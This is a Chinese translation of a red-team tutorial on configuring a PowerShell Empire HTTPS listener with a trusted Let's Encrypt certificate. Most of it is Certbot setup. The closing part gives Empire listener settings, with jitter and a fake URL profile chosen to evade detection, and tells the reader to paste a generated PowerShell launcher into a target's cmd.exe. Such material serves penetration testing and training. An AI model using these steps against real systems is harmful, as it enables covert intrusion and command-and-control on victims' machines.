【技术分享】给PowerShell Empire配置一个信任的证书

阅读量153466

|

发布时间 : 2016-12-03 16:28:46

x
译文声明

本文是翻译文章,文章来源:blackhillsinfosec

原文地址:http://www.blackhillsinfosec.com/?p=5447

译文仅供参考,具体内容表达以及含义原文为准。

http://p6.qhimg.com/t01b01d21c0aadf7671.png

翻译:WisFree

预估稿费:100RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

教程概述

使用一个受信任的证书,再加上非默认的Empire配置选项,这两个因素将会大大提升你与目标网络成功建立通信会话的机率。各位可以按照这篇文章中提供的方法来进行安装和设置。


安全客百科:Let's Encrypt

Let's Encrypt是最近很火的一个免费SSL证书发行项目,该项目是由ISRG提供的免费公益项目。Let's Encrypt可以实现自动化发行证书,但是证书只有90天的有效期,该项目适合个人使用或者临时使用。Let's Encrypt目标就是致力于实现整个Web都加入TLS/SSL认证,以便站点确认来访者身份并防止中间人。因此,我们强烈推荐网站管理员和服务器平台用 Let's Encrypt 向访客提供加密连接,这是域名认证未来的发展方向。


配置方法

在这篇文章中,我们只给各位同学提供了Apache服务器(运行于Debian系统上)的配置方法,如果你使用的是其他的系统平台或服务器,你可以点击[这里]以获取详细的配置步骤。

首先,使用Let's Encrypt来为你的服务器申请一个已签名的数字证书。访问Certbot的证书部署页面[传送门],然后选择你所使用的服务器软件和操作系统。

Cerbot支持的服务器软件如下图所示:

http://p6.qhimg.com/t012b8b2d05f56da482.png

Cerbot支持的操作系统平台如下图所示:

http://p2.qhimg.com/t0142d8568fb529e874.png

在这里,我们选择Apache和Debian 8,如下图所示。

http://p0.qhimg.com/t01e0de0f523fc2916c.png


配置过程

现在,Certbot已经为你的系统打包好了所有的数据,你所要做的就是apt-get这些数据包。

开始之前,请在你的sources.list文件(在我们的环境中,该文件路径为/etc/apt/sources.list)中添加下面这行代码[详细配置步骤]

deb http://ftp.debian.org/debian jessie-backports main

然后使用下列代码进行更新:

sudo apt-get update

配置好了Jessie backports repo之后,使用下列命令安装Certbot包:

sudo apt-get install python-certbot-apache -t jessie-backports

Certbot提供了一个非常稳定的Apache插件,该插件支持多种操作平台。使用下列命令运行apache插件:

sudo certbot –apache

如果你想手动修改Apache服务器的相关配置,你可以使用certonly子命令:

certbot --apache certonly

Certbot包提供了一个定时任务,当你的证书即将过期时,这个定时任务会自动更新你的证书。由于Let’s Encrypt的证书只有九十天的有效期,所以我们强烈建议用户使用这个自动更新功能。关于自动更新功能的详细信息请参考这份文档[传送门]。你可以使用下面这条命令来测试证书的自动更新功能:

certbot renew --dry-run

如果你想了解更多Certbot的使用方法,请参阅这份使用文档[传送门]

运行了apache插件之后,系统会要求你回答一些问题。请注意,你需要在配置的过程中提供一个指向你服务器的域名(这个很便宜,赶紧去买一个),因为Let’s Encrypt是不会仅凭一个IP地址就给你颁发证书的。当然了,如果你出于某种原因无法提供有效域名的话,你也可以使用自签名证书[操作方法]

http://p4.qhimg.com/t01ddc3e19b0bbab8dc.png

现在,将你的cert.pem和privkey.pem捆绑至Empire所使用的配置文件中。操作命令如下所示:

cd /etc/letsencrypt/live/<your domain>
cat cert.pem privkey.pem > empire.pem

停止Apache服务器的运行,这样就可以空出80端口和443端口了,因为你的Empire监听器将需要使用这两个端口:

sudo Apache2 stop

在Empire中,按照下面给出的命令进行相应的配置。请注意,我们之所以要袖该Jitter的默认配置,是为了避免我们的通信会话被检测到,并提升建立会话的成功率。

listeners
set DefaultJitter 0.7
set CertPath /etc/letsencrypt/live/<your domain>/empire.pem
set Host https://<your domain>
set DefaultProfile /admin/login.php,/console/dashboard.asp,/news/today.jsp|
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0;
Execute

现在,你已经在443端口上配置好了一个HTTPS监听器了。你可以使用下面给出的Empire命令来生成PowerShell命令并与目标主机建立通信会话了:

usestager launcher 443
execute

http://p1.qhimg.com/t01e94218c71ab72063.png

将这一大段PowerShell命令复制粘贴到目标主机的cmd.exe中,然后你就可以与目标主机建立一个拥有可信任证书的HTTPS通信会话了。

本文翻译自blackhillsinfosec 原文链接。如若转载请注明出处。
分享到:微信
+10赞
收藏
WisFree
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66